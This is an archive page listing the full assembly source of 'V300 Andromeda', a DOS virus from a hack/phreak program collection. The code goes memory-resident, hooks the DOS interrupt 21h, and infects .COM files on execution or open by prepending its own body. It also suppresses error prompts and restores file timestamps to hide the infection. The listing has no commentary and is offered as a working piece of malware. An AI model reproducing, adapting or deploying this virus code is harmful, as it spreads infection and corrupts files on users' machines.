home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / V300.ASM < prev    next >
Assembly Source File  |  1980-01-01  |  3KB  |  185 lines

  1. ;------------------------------------------------------------------------------
  2. ;           V 300     ANDROMEDA     <??:??:90>                  *.COM
  3. ;------------------------------------------------------------------------------
  4.  
  5.  
  6.  
  7.  
  8. xseg            segment
  9.  
  10.             Assume    cs:xseg
  11.  
  12. xproc            proc    far
  13.             dec    bp
  14.             inc    bp
  15.                         push    ax
  16.             xor    ax,ax
  17.             mov    es,ax
  18.             mov    ax,es:[0535H]
  19.             cmp    ax,454dh
  20.             jz    np
  21. ;       Resident        proc    near
  22.             mov    di,535h
  23.             mov    si,100h
  24.             mov    cx,offset len-100h
  25.             cld
  26.             rep    movsb
  27.             mov    ax,offset int21+435h
  28.             xchg    ax,es:[0084h]
  29.             mov    es:[00c8h],ax
  30.             xor    ax,ax
  31.             xchg    ax,es:[0086h]
  32.             mov    es:[00cah],ax
  33.  
  34. ;        Resident       endp
  35.         np:
  36. ;        NorProg        proc    near
  37.             push    word ptr ds:[lenpro]
  38.             db    0eah
  39.             dw    offset norprogm+435h
  40.             dw    0000h
  41. ;        NorProg        endp
  42.  
  43.          NorProgM       proc    near
  44.             cld
  45.             mov    di,100h
  46.             pop    si
  47.             add    si,100h
  48.             lea    cx,len-100h
  49.             push    ds
  50.             pop    es
  51.             rep    movsb
  52.             pop    ax
  53.             mov    cs:[p+435h],es
  54.             db    0eah
  55.             dw    100h
  56.          p:    dw    0000h
  57.     NorProgM    endp
  58.  
  59.     Int21        proc    near
  60.             push    ax
  61.             push    bx
  62.             push    cx
  63.             push    dx
  64.             push    di
  65.             push    ds
  66.             push    es
  67.  
  68.                         cmp     ax,4b00h
  69.  
  70.                         jz      sj
  71.             jmp    ji
  72.  
  73.          sj:    mov    ax,offset int24+435h
  74.             xchg    ax,cs:[0090h]
  75.             mov    cs:[o24],ax
  76.             xor    ax,ax
  77.             xchg    ax,cs:[0092h]
  78.             mov    cs:[s24],ax
  79.  
  80.             mov    ax,3d02h
  81.             int    32h
  82.  
  83.             jc    jcr
  84.  
  85.             db    93h
  86.  
  87.             mov    dx,0bfe5h
  88.             mov    ds,dx
  89.             xor    dx,dx
  90.             lea    cx,len-100h
  91.             mov    ah,3fh
  92.             int    32h
  93.  
  94.             mov    di,dx
  95.             mov    ax,[di]
  96.             cmp    al,'M'
  97.             jz    j
  98.  
  99.             mov    ax,4202h
  100.             xor    cx,cx
  101.             int    32h
  102.  
  103.             or    ah,ah
  104.             jz    j
  105.  
  106.             mov    cs:[lenpro+435h],ax
  107.  
  108.             mov    ax,5700h
  109.             int    32h
  110.             push    cx
  111.             push    dx
  112.  
  113.             xor    dx,dx
  114.             mov    ah,40h
  115.             lea    cx,len-100h
  116.             int    32h
  117.  
  118.             mov    ax,4200h
  119.             push    cs
  120.             pop    dx
  121.             xor    cx,cx
  122.             int    32h
  123.  
  124.             push    cs
  125.             pop    ds
  126.             lea    cx,len-100h
  127.             mov    dx,535h
  128.             mov    ah,40h
  129.             int    32h
  130.  
  131.             pop    dx
  132.             pop    cx
  133.             mov    ax,5701h
  134.             int    32h
  135.  
  136.         j:    mov    ah,3eh
  137.             int    32h
  138.  
  139.         jcr:    mov    ax,cs:[o24+435h]
  140.             mov    cs:[0090h],ax
  141.             mov    ax,cs:[s24+435h]
  142.             mov    cs:[0092h],ax
  143.             xor    ax,ax
  144.  
  145.     ji:        cmp    ah,3dh
  146.             jnz    pr
  147.             push    ds
  148.             pop    es
  149.             push    dx
  150.             pop    di
  151.             mov    cx,40h
  152.             mov    al,'.'
  153.             repnz    scasb
  154.             jnz    pr
  155.             xchg    di,bx
  156.             mov    ax,[bx]
  157.             cmp    ax,'OC'
  158.             jnz    pr1
  159.             jmp    sj
  160.     pr1:        cmp    ax,'oc'
  161.             jnz    pr
  162.             jmp    sj
  163.  
  164.     pr:        pop    es
  165.             pop    ds
  166.                         pop     di
  167.                         pop     dx
  168.                         pop     cx
  169.                         pop     bx
  170.                         pop     ax
  171.                         jmp     dword ptr cs:[00c8H]
  172.     Int21        endp
  173.  
  174.     Int24        proc    near
  175.                         mov     al,3
  176.             iret
  177.         s24:    dw    0000h
  178.         o24:    dw    0000h
  179.     int24        endp
  180.     lenpro        dw    0000
  181.     Len        label    byte
  182. xproc            endp
  183. xseg            ends
  184.             end
  185.